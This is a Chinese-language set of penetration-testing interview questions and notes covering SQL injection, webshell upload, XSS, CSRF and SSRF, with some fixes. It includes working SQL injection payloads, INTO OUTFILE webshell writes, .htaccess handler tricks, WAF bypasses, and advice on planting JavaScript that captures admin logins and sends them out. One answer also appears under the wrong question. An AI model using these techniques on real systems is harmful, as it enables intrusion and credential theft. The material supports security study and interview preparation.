<p><strong>10、如何突破注入时字符被转义？</strong></p>
<p>​ 宽字符注入</p>
<p>​ hex编码绕过</p>
<p><strong>11、在某后台新闻编辑界面看到编辑器，应该先做什么？</strong></p>
<p>​ 查看编辑器的名称版本,然后搜索公开的漏洞。</p>
<p><strong>12、拿到一个webshell发现网站根目录下有.htaccess文件，我们能做什么？</strong></p>
<p>​ 能做的事情很多，用隐藏网马来举例子： ​ 插入 ​ SetHandler application/x-httpd-php ​ .jpg文件会被解析成.php文件。</p>
<p>​ 具体其他的事情，不好详说，建议大家自己去搜索语句来玩玩。</p>
<p><strong>13、注入漏洞只能查账号密码？</strong></p>
<p>​ 只要权限广，拖库脱到老。</p>
<p><strong>14、安全狗会追踪变量，从而发现出是一句话木马吗？</strong></p>
<p>​ 是根据特征码，所以很好绕过了，只要思路宽，绕狗绕到欢，但这应该不会是一成不变的。</p>
<p>**15.access 扫出后缀为asp的数据库文件，访问乱码，**<strong>如何实现到本地利用？</strong></p>
<p>​ 迅雷下载，直接改后缀为.mdb。</p>
<p><strong>16、提权时选择可读写目录，为何尽量不用带空格的目录？</strong></p>
<p>​ 因为exp执行多半需要空格界定参数</p>
<p><strong>17、某服务器有站点A,B 为何在A的后台添加test用户，访问B的后台。发现也添加上了test用户？</strong></p>
<p>​ 同数据库。</p>
<p><strong>18、注入时可以不使用and 或or 或xor，直接order by 开始注入吗？</strong></p>
<p>​ and/or/xor，前面的1=1、1=2步骤只是为了判断是否为注入点，如果已经确定是注入点那就可以省那步骤去。</p>
<p><strong>19、某个防注入系统，在注入时会提示：</strong></p>
<p>系统检测到你有非法注入的行为。 已记录您的ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内容:and 1=1</p>
<p><strong>20、如何利用这个防注入系统拿shell？</strong></p>
<p>在URL里面直接提交一句话，这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。</p>
<p><strong>21、上传大马后访问乱码时，有哪些解决办法？</strong></p>
<p>​ 浏览器中改编码。</p>
<p><strong>22、审查上传点的元素有什么意义？</strong></p>
<p>​ 有些站点的上传文件类型的限制是在前端实现的，这时只要增加上传类型就能突破限制了。</p>
<p><strong>23、目标站禁止注册用户，找回密码处随便输入用户名提示：“此用户不存在”，你觉得这里怎样利用？</strong></p>
<p>​ 先爆破用户名，再利用被爆破出来的用户名爆破密码。</p>
<p>​ 其实有些站点，在登陆处也会这样提示</p>
<p>​ 所有和数据库有交互的地方都有可能有注入。</p>
<p><strong>24、目标站发现某txt的下载地址为</strong><a href="http://www.test.com/down/down.php?file=/upwdown/1.txt%EF%BC%8C%E4%BD%A0%E6%9C%89%E4%BB%80%E4%B9%88%E6%80%9D%E8%B7%AF%EF%BC%9F" target="_blank" rel="noopener noreferrer">http://www.test.com/down/down.php?file=/upwdown/1.txt，你有什么思路？</a></p>
<p>​ 这就是传说中的下载漏洞！在file=后面尝试输入index.php下载他的首页文件，然后在首页文件里继续查找其他网站的配置文件，可以找出网站的数据库密码和数据库的地址。</p>
<p><strong>25、甲给你一个目标站，并且告诉你根目录下存在/abc/目录，并且此目录下存在编辑器和admin目录。请问你的想法是？</strong></p>
<p>​ 直接在网站二级目录/abc/下扫描敏感文件及目录。</p>
<p><strong>26、在有shell的情况下，如何使用xss实现对目标站的长久控制？</strong></p>
<p>​ 后台登录处加一段记录登录账号密码的js，并且判断是否登录成功，如果登录成功，就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。</p>
<p>​ 在登录后才可以访问的文件中插入XSS脚本。</p>
<p><strong>27、后台修改管理员密码处，原密码显示为*。你觉得该怎样实现读出这个用户的密码？</strong></p>
<p>​ 审查元素 把密码处的password属性改成text就明文显示了</p>
<p><strong>28</strong><strong>、</strong><strong>目标站无防护，上传图片可以正常访问，上传脚本格式访问则403.什么原因？</strong></p>
<p>​ 原因很多，有可能web服务器配置把上传目录写死了不执行相应脚本，尝试改后缀名绕过</p>
<p><strong>29</strong><strong>、</strong><strong>审查元素得知网站所使用的防护软件，你觉得怎样做到的？</strong></p>
<p>​ 在敏感操作被拦截，通过界面信息无法具体判断是什么防护的时候，F12看HTML体部 比如护卫神就可以在名称那看到内容。</p>
<p><strong>30</strong><strong>、</strong><strong>在win2003服务器中建立一个 .zhongzi文件夹用意何为？</strong></p>
<p>​ 隐藏文件夹，为了不让管理员发现你传上去的工具。</p>
<p><strong>31、sql注入有以下两个测试选项，选一个并且阐述不选另一个的理由：</strong></p>
<p>A. demo.jsp?id=2+1 B. demo.jsp?id=2-1 选B，在 URL 编码中 + 代表空格，可能会造成混淆</p>
<p><strong>32、以下链接存在 sql 注入漏洞，对于这个变形注入，你有什么思路？</strong></p>
<p>demo.do?DATA=AjAxNg== DATA有可能经过了 base64 编码再传入服务器，所以我们也要对参数进行 base64 编码才能正确完成测试</p>
<p><strong>33、发现 demo.jsp?uid=110 注入点，你有哪几种思路获取 webshell，哪种是优选？</strong></p>
<p>有写入权限的，构造联合查询语句使用using INTO OUTFILE，可以将查询的输出重定向到系统的文件中，这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同，来直接获得一个 Shell，这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码，然后扫后台登录后台，再在后台通过改包上传等方法上传 Shell</p>
<p><strong>34、CSRF 和 XSS 和 XXE 有什么区别，以及修复方式？</strong></p>
<p><strong>XSS是跨站脚本攻击</strong>，用户提交的数据中可以构造代码来执行，从而实现窃取用户信息等攻击。修复方式：对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。</p>
<p><strong>CSRF是跨站请求伪造攻击</strong>，XSS是实现CSRF的诸多手段中的一种，是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式：筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer XXE是XML外部实体注入攻击，XML中可以通过调用实体来请求本地或者远程内容，和远程文件保护类似，会引发相关安全问题，例如敏感文件读取。修复方式：XML解析库在调用时严格禁止对外部实体的解析。</p>
<p><strong>35、CSRF、SSRF和重放攻击有什么区别？</strong></p>
<p>CSRF是跨站请求伪造攻击，由客户端发起 SSRF是服务器端请求伪造，由服务器发起 重放攻击是将截获的数据包进行重放，达到身份认证等目的</p>
<p><strong>36、说出至少三种业务逻辑漏洞，以及修复方式？</strong></p>
<p><strong>密码找回漏洞</strong>中存在</p>
<p>1）密码允许暴力破解、</p>
<p>2）存在通用型找回凭证、</p>
<p>3）可以跳过验证步骤、</p>
<p>4）找回凭证可以拦包获取</p>
<p>等方式来通过厂商提供的密码找回功能来得到密码。 <strong>身份认证漏洞</strong>中最常见的是</p>
<p>1）会话固定攻击</p>
<p>2） Cookie 仿冒</p>
<p>只要得到 Session 或 Cookie 即可伪造用户身份。 <strong>验证码漏洞</strong>中存在</p>
<p>1）验证码允许暴力破解</p>
<p>2）验证码可以通过 Javascript 或者改包的方法来进行绕过</p>
<p><strong>37、圈出下面会话中可能存在问题的项，并标注可能会存在的问题？</strong></p>
<pre class="ql-syntax">get <span class="hljs-regexp">/ecskins/demo.jsp?uid=2016031900&amp;keyword=”hello world” HTTP/1.1Host:.com:82User-Agent:Mozilla/</span> <span class="hljs-number">5.0</span> Firefox<span class="hljs-regexp">/40Accept:text/css,/</span>;q=<span class="hljs-number">0.1</span> Accept-Language:zh-CN;zh;q=<span class="hljs-number">0.8</span>;en-US;q=<span class="hljs-number">0.5</span>,en;q=<span class="hljs-number">0.3</span> Referer:http:<span class="hljs-regexp">//</span>****.com<span class="hljs-regexp">/eciop/orderForCC/</span> cgtListForCC.htm?zone=<span class="hljs-number">11370601</span>&amp;v=<span class="hljs-number">145902</span> Cookie:myguid1234567890=<span class="hljs-number">1349</span>db5fe50c372c3d995709f54c273d; uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ; st_uid=N90PLYHLZGJXI-NX01VPUF46W; status=True Connection:keep-alive
</pre>
<p>有写入权限的，构造联合查询语句使用using INTO OUTFILE，可以将查询的输出重定向到系统的文件中，这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同，来直接获得一个 Shell，这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码，然后扫后台登录后台，再在后台通过改包上传等方法上传 Shell</p>
<p><strong>38、给你一个网站你是如何来渗透测试的?</strong> 在获取书面授权的前提下。</p>
<p><strong>39、sqlmap，怎么对一个注入点注入？</strong> 1）如果是get型号，直接，sqlmap -u “诸如点网址”. 2) 如果是post型诸如点，可以sqlmap -u “注入点网址” –data=”post的参数” 3）如果是cookie，X-Forwarded-For等，可以访问的时候，用burpsuite抓包，注入处用号替换，放到文件里，然后sqlmap -r “文件地址”</p>
<p><strong>40、nmap，扫描的几种方式</strong></p>
<p><strong>41、sql注入的几种类型？</strong> </p>
<p>1）报错注入 2）bool型注入 3）延时注入 4）宽字节注入 <strong>42、报错注入的函数有哪些？ 10个</strong> 1）and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】 2）通过floor报错 向下取整 3）</p>
<pre class="ql-syntax">+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1) 4）.geometrycollection()<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span> <span class="hljs-keyword">test</span> <span class="hljs-keyword">where</span> <span class="hljs-keyword">id</span>=<span class="hljs-number">1</span> <span class="hljs-keyword">and</span> geometrycollection((<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span>(selectfrom(<span class="hljs-keyword">select</span> <span class="hljs-keyword">user</span>())a)b)); 5）.multipoint()<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span> <span class="hljs-keyword">test</span> <span class="hljs-keyword">where</span> <span class="hljs-keyword">id</span>=<span class="hljs-number">1</span> <span class="hljs-keyword">and</span> multipoint((<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span>(<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span>(<span class="hljs-keyword">select</span> <span class="hljs-keyword">user</span>())a)b)); 6）.polygon()<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span> <span class="hljs-keyword">test</span> <span class="hljs-keyword">where</span> <span class="hljs-keyword">id</span>=<span class="hljs-number">1</span> <span class="hljs-keyword">and</span> polygon((<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span>(<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span>(<span class="hljs-keyword">select</span> <span class="hljs-keyword">user</span>())a)b)); 7）.multipolygon()<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span> <span class="hljs-keyword">test</span> <span class="hljs-keyword">where</span> <span class="hljs-keyword">id</span>=<span class="hljs-number">1</span> <span class="hljs-keyword">and</span> multipolygon((<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span>(<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span>(<span class="hljs-keyword">select</span> <span class="hljs-keyword">user</span>())a)b)); 8）.linestring()<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span> <span class="hljs-keyword">test</span> <span class="hljs-keyword">where</span> <span class="hljs-keyword">id</span>=<span class="hljs-number">1</span> <span class="hljs-keyword">and</span> linestring((<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span>(<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span>(<span class="hljs-keyword">select</span> <span class="hljs-keyword">user</span>())a)b)); 9）.multilinestring()<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span> <span class="hljs-keyword">test</span> <span class="hljs-keyword">where</span> <span class="hljs-keyword">id</span>=<span class="hljs-number">1</span> <span class="hljs-keyword">and</span> multilinestring((<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span>(<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span>(<span class="hljs-keyword">select</span> <span class="hljs-keyword">user</span>())a)b)); 10）.exp()<span class="hljs-keyword">select</span> <span class="hljs-keyword">from</span> <span class="hljs-keyword">test</span> <span class="hljs-keyword">where</span> <span class="hljs-keyword">id</span>=<span class="hljs-number">1</span> <span class="hljs-keyword">and</span> <span class="hljs-keyword">exp</span>(~(<span class="hljs-keyword">select</span> * <span class="hljs-keyword">from</span>(<span class="hljs-keyword">select</span> <span class="hljs-keyword">user</span>())a));
</pre>
<p><strong>43、延时注入如何来判断？</strong> if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)</p>
<p><strong>44、盲注和延时注入的共同点？</strong> 都是一个字符一个字符的判断</p>
<p><strong>45、如何拿一个网站的webshell？</strong> 上传，后台编辑模板，sql注入写文件，命令执行，代码执行， 一些已经爆出的cms漏洞，比如dedecms后台可以直接建立脚本文件，wordpress上传插件包含脚本文件zip压缩包等</p>
<p><strong>46、sql注入写文件都有哪些函数？</strong> select ‘一句话’ into outfile ‘路径’ select ‘一句话’ into dumpfile ‘路径’ select ” into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;</p>
<p><strong>47、如何防止CSRF?</strong> 1,验证referer 2，验证token 详细：<a href="http://cnodejs.org/topic/5533dd6e9138f09b629674fd" target="_blank" rel="noopener noreferrer">http://cnodejs.org/topic/5533dd6e9138f09b629674fd</a></p>
<p><strong>48、owasp 漏洞都有哪些？</strong> 1、SQL注入防护方法： 2、失效的身份认证和会话管理 3、跨站脚本攻击XSS 4、直接引用不安全的对象 5、安全配置错误 6、敏感信息泄露 7、缺少功能级的访问控制 8、跨站请求伪造CSRF 9、使用含有已知漏洞的组件 10、未验证的重定向和转发</p>
<p><strong>49、SQL注入防护方法？</strong> 1、使用安全的API 2、对输入的特殊字符进行Escape转义处理 3、使用白名单来规范化输入验证方法 4、对客户端输入进行控制，不允许输入SQL注入相关的特殊字符 5、服务器端在提交数据库进行SQL查询之前，对特殊字符进行过滤、转义、替换、删除。</p>
<p><strong>50、代码执行，文件读取，命令执行的函数都有哪些？</strong></p>
<p>1）代码执行：</p>
<p>eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function</p>
<p>2）文件读取：</p>
<p>file_get_contents(),highlight_file(),fopen(),read</p>
<p>file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等 3)命令执行：</p>
<p>system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()</p>
<p><strong>51、img标签除了onerror属性外，还有其他获取管理员路径的办法吗？</strong> src指定一个远程的脚本文件，获取referer</p>
<p><strong>52、img标签除了onerror属性外，并且src属性的后缀名，必须以.jpg结尾，怎么获取管理员路径。</strong></p>
<p>1）远程服务器修改apache配置文件，配置.jpg文件以php方式来解析 AddType application/x-httpd-php .jpg<span> </span><span><img class="loading" src="https://wangdalao.com/%3Ca" data-was-processed="true" /></span>http://xss.tv/1.jpg&gt; 会以php方式来解析</p>
<p><strong>53、为什么aspx木马权限比asp大？</strong></p>
<p>aspx使用的是.net技术。IIS 中默认不支持，ASP只是脚本语言而已。入侵的时候asp的木马一般是guest权限…APSX的木马一般是users权限。</p>
<p><strong>54、如何绕过waf？</strong></p>
<ul>
<li>大小写转换法</li>
<li>干扰字符 <code>/*!*/</code></li>
<li>编码 base64 unicode hex url ascll</li>
<li>复参数</li>
</ul>
<p><strong>55、如何向服务器写入webshell？</strong></p>
<ul>
<li>各种上传漏洞</li>
<li>mysql具有写入权限,用sql语句写入shell</li>
<li>http put方法</li>
</ul>
<p><strong>56、渗透测试中常见的端口</strong></p>
<p>1.web类(web漏洞/敏感目录) 第三方通用组件漏洞 struts thinkphp jboss ganglia zabbix</p>
<pre class="ql-syntax">80 web 
80-89 web 
8000-9090 web
</pre>
<p>2.数据库类(扫描弱口令)</p>
<pre class="ql-syntax">1433 MSSQL 
1521 Oracle 
3306 MySQL 
5432 PostgreSQL 
</pre>
<p>3.特殊服务类(未授权/命令执行类/漏洞)</p>
<pre class="ql-syntax"><span class="hljs-number">443</span> SSL心脏滴血 
<span class="hljs-number">873</span> Rsync未授权 
<span class="hljs-number">5984</span> CouchDB http:<span class="hljs-comment">//xxx:5984/_utils/ </span>
<span class="hljs-number">6379</span> redis未授权 
<span class="hljs-number">7001</span>,<span class="hljs-number">7002</span> WebLogic默认弱口令，反序列 
<span class="hljs-number">9200</span>,<span class="hljs-number">9300</span> elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 
<span class="hljs-number">11211</span> memcache未授权访问 
<span class="hljs-number">27017</span>,<span class="hljs-number">27018</span> Mongodb未授权访问 
<span class="hljs-number">50000</span> SAP命令执行 
<span class="hljs-number">50070</span>,<span class="hljs-number">50030</span> hadoop默认端口未授权访问
</pre>
<p>4,常用端口类(扫描弱口令/端口爆破)</p>
<pre class="ql-syntax">21 ftp 
22 SSH 
23 Telnet 
2601,2604 zebra路由，默认密码zebra
3389 远程桌面
</pre>
<blockquote>
<p>端口合计详情</p>
</blockquote>
<pre class="ql-syntax"><span class="hljs-number">21</span> ftp 
<span class="hljs-number">22</span> SSH 
<span class="hljs-number">23</span> Telnet 
<span class="hljs-number">80</span> web 
<span class="hljs-number">80-89</span> web 
<span class="hljs-number">161</span> SNMP 
<span class="hljs-number">389</span> LDAP 
<span class="hljs-number">443</span> SSL心脏滴血以及一些web漏洞测试 
<span class="hljs-number">445</span> SMB 
<span class="hljs-number">512</span>,<span class="hljs-number">513</span>,<span class="hljs-number">514</span> Rexec 
<span class="hljs-number">873</span> Rsync未授权 
<span class="hljs-number">1025</span>,<span class="hljs-number">111</span> NFS 
<span class="hljs-number">1433</span> MSSQL 
<span class="hljs-number">1521</span> Oracle:(iSqlPlus Port:<span class="hljs-number">5560</span>,<span class="hljs-number">7778</span>) 
<span class="hljs-number">2082</span>/<span class="hljs-number">2083</span> cpanel主机管理系统登陆 （国外用较多）
<span class="hljs-number">2222</span> DA虚拟主机管理系统登陆 （国外用较多） 
<span class="hljs-number">2601</span>,<span class="hljs-number">2604</span> zebra路由，默认密码zebra
<span class="hljs-number">3128</span> squid代理默认端口，如果没设置口令很可能就直接漫游内网了 
<span class="hljs-number">3306</span> MySQL 
<span class="hljs-number">3312</span>/<span class="hljs-number">3311</span> kangle主机管理系统登陆 
<span class="hljs-number">3389</span> 远程桌面 
<span class="hljs-number">4440</span> rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网 
<span class="hljs-number">5432</span> PostgreSQL 
<span class="hljs-number">5900</span> vnc 
<span class="hljs-number">5984</span> CouchDB http:<span class="hljs-comment">//xxx:5984/_utils/ </span>
<span class="hljs-number">6082</span> varnish 参考WooYun: Varnish HTTP accelerator <span class="hljs-built_in">CLI</span> 未授权访问易导致网站被直接篡改或者作为代理进入内网 
<span class="hljs-number">6379</span> redis未授权 
<span class="hljs-number">7001</span>,<span class="hljs-number">7002</span> WebLogic默认弱口令，反序列 
<span class="hljs-number">7778</span> Kloxo主机控制面板登录 
<span class="hljs-number">8000-9090</span> 都是一些常见的web端口，有些运维喜欢把管理后台开在这些非<span class="hljs-number">80</span>的端口上 
<span class="hljs-number">8080</span> tomcat/WDCP主机管理系统，默认弱口令 
<span class="hljs-number">8080</span>,<span class="hljs-number">8089</span>,<span class="hljs-number">9090</span> JBOSS 
<span class="hljs-number">8083</span> Vestacp主机管理系统 （国外用较多） 
<span class="hljs-number">8649</span> ganglia 
<span class="hljs-number">8888</span> amh/LuManager 主机管理系统默认端口 
<span class="hljs-number">9200</span>,<span class="hljs-number">9300</span> elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 
<span class="hljs-number">10000</span> Virtualmin/Webmin 服务器虚拟主机管理系统 
<span class="hljs-number">11211</span> memcache未授权访问 
<span class="hljs-number">27017</span>,<span class="hljs-number">27018</span> Mongodb未授权访问 
<span class="hljs-number">28017</span> mongodb统计页面 
<span class="hljs-number">50000</span> SAP命令执行 
<span class="hljs-number">50070</span>,<span class="hljs-number">50030</span> hadoop默认端口未授权访问
</pre>
<h2>深信服一面:</h2>
<ul>
<li>了解哪些漏洞</li>
<li>文件上传有哪些防护方式</li>
<li>用什么扫描端口，目录</li>
<li>如何判断注入</li>
<li>注入有防护怎么办</li>
<li>有没有写过tamper</li>
<li>3306 1443 8080是什么端口</li>
<li>计算机网络从物理层到应用层xxxx</li>
<li>有没有web服务开发经验</li>
<li>如何向服务器写入webshell</li>
<li>有没有用过xss平台</li>
<li>网站渗透的流程</li>
<li>mysql两种提权方式（udf，？）</li>
<li>常见加密方式xxx</li>
<li>ddos如何防护</li>
<li>有没有抓过包，会不会写wireshark过滤规则</li>
<li>清理日志要清理哪些</li>
</ul>
<h2>SQL注入防护</h2>
<p>1、使用安全的API 2、对输入的特殊字符进行Escape转义处理 3、使用白名单来规范化输入验证方法 4、对客户端输入进行控制，不允许输入SQL注入相关的特殊字符 5、服务器端在提交数据库进行SQL查询之前，对特殊字符进行过滤、转义、替换、删除。 \6. 规范编码,字符集</p>
<h2>为什么参数化查询可以防止sql注入</h2>
<p>原理:</p>
<p>使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行，是在数据库完成sql指令的编译后才套用参数运行</p>
<p>简单的说: 参数化能防注入的原因在于,语句是语句，参数是参数，参数的值并不是语句的一部分，数据库只按语句的语义跑</p>
<h2>SQL头注入点</h2>
<pre class="ql-syntax"><span class="hljs-attribute">UA</span>
REFERER
COOKIE
IP
</pre>
<h2>盲注是什么？怎么盲注？</h2>
<p>盲注是在SQL注入攻击过程中，服务器关闭了错误回显，我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种，一个是通过页面的返回内容是否正确(boolean-based)，来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based)，在这里，可以用benchmark，sleep等造成延时效果的函数，也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。</p>
<h2>宽字节注入产生原理以及根本原因</h2>
<h3>产生原理</h3>
<p>在数据库使用了宽字符集而WEB中没考虑这个问题的情况下，在WEB层，由于0XBF27是两个字符，在PHP中比如addslash和magic_quotes_gpc开启时，由于会对0x27单引号进行转义，因此0xbf27会变成0xbf5c27,而数据进入数据库中时，由于0XBF5C是一个另外的字符，因此\转义符号会被前面的bf带着”吃掉”，单引号由此逃逸出来可以用来闭合语句。</p>
<h3>在哪里编码</h3>
<h3>根本原因</h3>
<p>character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如，iconv、mb_convert_encoding使用不当。</p>
<h3>解决办法</h3>
<p>统一数据库、Web应用、操作系统所使用的字符集，避免解析产生差异，最好都设置为UTF-8。 或对数据进行正确的转义，如mysql_real_escape_string+mysql_set_charset的使用。</p>
<h3>sql里面只有update怎么利用</h3>
<p>先理解这句 SQL</p>
<pre class="ql-syntax"><span class="hljs-keyword">UPDATE</span> <span class="hljs-keyword">user</span> <span class="hljs-keyword">SET</span> <span class="hljs-keyword">password</span>=<span class="hljs-string">'MD5($password)'</span>, homepage=<span class="hljs-string">'$homepage'</span> <span class="hljs-keyword">WHERE</span> <span class="hljs-keyword">id</span>=<span class="hljs-string">'$id'</span>
</pre>
<p>如果此 SQL 被修改成以下形式，就实现了注入</p>
<p>1：修改 homepage 值为<code>http://xxx.net', userlevel='3</code></p>
<p>之后 SQL 语句变为</p>
<pre class="ql-syntax"><span class="hljs-keyword">UPDATE</span> <span class="hljs-keyword">user</span> <span class="hljs-keyword">SET</span> <span class="hljs-keyword">password</span>=<span class="hljs-string">'mypass'</span>, homepage=<span class="hljs-string">'http://xxx.net'</span>, userlevel=<span class="hljs-string">'3'</span> <span class="hljs-keyword">WHERE</span> <span class="hljs-keyword">id</span>=<span class="hljs-string">'$id'</span>
</pre>
<p>userlevel 为用户级别</p>
<p>2:修改 password 值为<code>mypass)' WHERE username='admin'#</code></p>
<p>之后 SQL 语句变为</p>
<pre class="ql-syntax"><span class="hljs-keyword">UPDATE</span> <span class="hljs-keyword">user</span> <span class="hljs-keyword">SET</span> <span class="hljs-keyword">password</span>=<span class="hljs-string">'MD5(mypass)'</span> <span class="hljs-keyword">WHERE</span> username=<span class="hljs-string">'admin'</span>#)<span class="hljs-string">', homepage='</span>$homepage<span class="hljs-string">' WHERE id='</span>$<span class="hljs-keyword">id</span><span class="hljs-string">'
</span></pre>
<p>3：修改 id 值为<code>' OR username='admin'</code> 之后 SQL 语句变为</p>
<pre class="ql-syntax"><span class="hljs-keyword">UPDATE</span> <span class="hljs-keyword">user</span> <span class="hljs-keyword">SET</span> <span class="hljs-keyword">password</span>=<span class="hljs-string">'MD5($password)'</span>, homepage=<span class="hljs-string">'$homepage'</span> <span class="hljs-keyword">WHERE</span> <span class="hljs-keyword">id</span>=<span class="hljs-string">''</span> <span class="hljs-keyword">OR</span> username=<span class="hljs-string">'admin'</span>
</pre>
<h2>sql如何写shell/单引号被过滤怎么办</h2>
<p>写shell: root权限，GPC关闭，知道文件路径 outfile函数</p>
<pre class="ql-syntax">`http:<span class="hljs-comment">//127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY ''</span>`

`http:<span class="hljs-comment">//127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'</span>`
</pre>
<p>宽字节注入</p>
<h3>代替空格的方法</h3>
<p>%0a、%0b、%a0 等 /**/ 等注释符 &lt;&gt;</p>
<h3>mysql的网站注入，5.0以上和5.0以下有什么区别？</h3>
<p>5.0以下没有information_schema这个系统表，无法列表名等，只能暴力跑表名。</p>
<p>5.0以下是多用户单操作，5.0以上是多用户多操做。</p>
<h1>XSS</h1>
<h2>XSS原理</h2>
<h3>反射型</h3>
<p>用户提交的数据中可以构造代码来执行，从而实现窃取用户信息等攻击。 需要诱使用户“点击”一个恶意链接，才能攻击成功</p>
<h3>储存型</h3>
<p>存储型XSS会把用户输入的数据“存储”在服务器端。 这种XSS具有很强的稳定性。</p>
<h3>DOM型</h3>
<p>通过修改页面的DOM节点形成的XSS，称之为DOM Based XSS。</p>
<h2>DOM型和反射型的区别</h2>
<p>反射型XSS：通过诱导用户点击，我们构造好的恶意payload才会触发的XSS。 反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。 DOM型：通过修改页面的DOM节点形成的XSS。 DOM-based XSS由于是通过js代码进行dom操作产生的XSS，所以在请求的响应中我们甚至不一定会得到相应的畸形数据。 根本区别在我看来是输出点的不同。</p>
<h2>DOM型XSS 自动化测试或人工测试</h2>
<p>人工测试思路：找到类似document.write、innerHTML赋值、outterHTML赋值、window.location操作、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量，回溯变量来源观察是否可控，是否经过安全函数。 自动化测试参看道哥的博客，思路是从输入入手，观察变量传递的过程，最终检查是否有在危险函数输出，中途是否有经过安全函数。但是这样就需要有一个javascript解析器，否则会漏掉一些通过js执行带入的部分内容。</p>
<p>在回答这段问题的时候，由于平时对客户的检测中，基本是凭借不同功能点的功能加上经验和直觉来进行检测，对不同类型的XSS检测方式实际上并没有太过细分的标准化检测方式，所以回答的很烂。。。</p>
<h2>如何快速发现xss位置</h2>
<h2>对于XSS怎么修补建议</h2>
<p>输入点检查：对用户输入的数据进行合法性检查，使用filter过滤敏感字符或对进行编码转义，针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。</p>
<p>输出点检查：对变量输出到HTML页面中时，对输出内容进行编码转义，输出在HTML中时，对其进行HTMLEncode，如果输出在Javascript脚本中时，对其进行JavascriptEncode。 对使用JavascriptEncode的变量都放在引号中并转义危险字符，data部分就无法逃逸出引号外成为code的一部分。还可以使用更加严格的方法，对所有数字字母之外的字符都使用十六进制编码。此外，要注意在浏览器中，HTML的解析会优先于Javascript的解析，编码的方式也需要考虑清楚，针对不同的输出点，我们防御XSS的方法可能会不同，这点可能在之后的文章会做下总结。</p>
<p>除此之外，还有做HTTPOnly对Cookie劫持做限制。</p>
<h2>XSS蠕虫的产生条件</h2>
<p>正常情况下，一个是产生XSS点的页面不属于self页面，用户之间产生交互行为的页面，都可能造成XSS Worm的产生。<strong>不一定需要</strong>存储型XSS</p>
<h1>CSRF</h1>
<h2>CSRF原理</h2>
<p>CSRF是跨站请求伪造攻击，由客户端发起,是由于没有在关键操作执行时进行是否由用户自愿发起的确认</p>
<h2>防御</h2>
<ul>
<li>验证Referer</li>
<li>添加token</li>
</ul>
<h2>token和referer做横向对比，谁安全等级高？</h2>
<p>token安全等级更高，因为并不是任何服务器都可以取得referer，如果从HTTPS跳到HTTP，也不会发送referer。并且FLASH一些版本中可以自定义referer。 但是token的话，要保证其足够随机且不可泄露。(不可预测性原则)</p>
<h2>对referer的验证，从什么角度去做？如果做，怎么杜绝问题</h2>
<p>对header中的referer的验证，一个是空referer，一个是referer过滤或者检测不完善。 为了杜绝这种问题，在验证的白名单中，正则规则应当写完善。</p>
<h2>针对token，对token测试会注意哪方面内容，会对token的哪方面进行测试？</h2>
<p>引用一段请教前辈的回答：</p>
<pre class="ql-syntax">针对token的攻击，一是对它本身的攻击，重放测试一次性、分析加密规则、校验方式是否正确等，二是结合信息泄露漏洞对它的获取，结合着发起组合攻击
信息泄露有可能是缓存、日志、<span class="hljs-keyword">get</span>，也有可能是利用跨站
很多跳转登录的都依赖token，有一个跳转漏洞加反射型跨站就可以组合成登录劫持了
另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过比如抢红包业务之类的
</pre>
<h1>SSRF</h1>
<p>SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）</p>
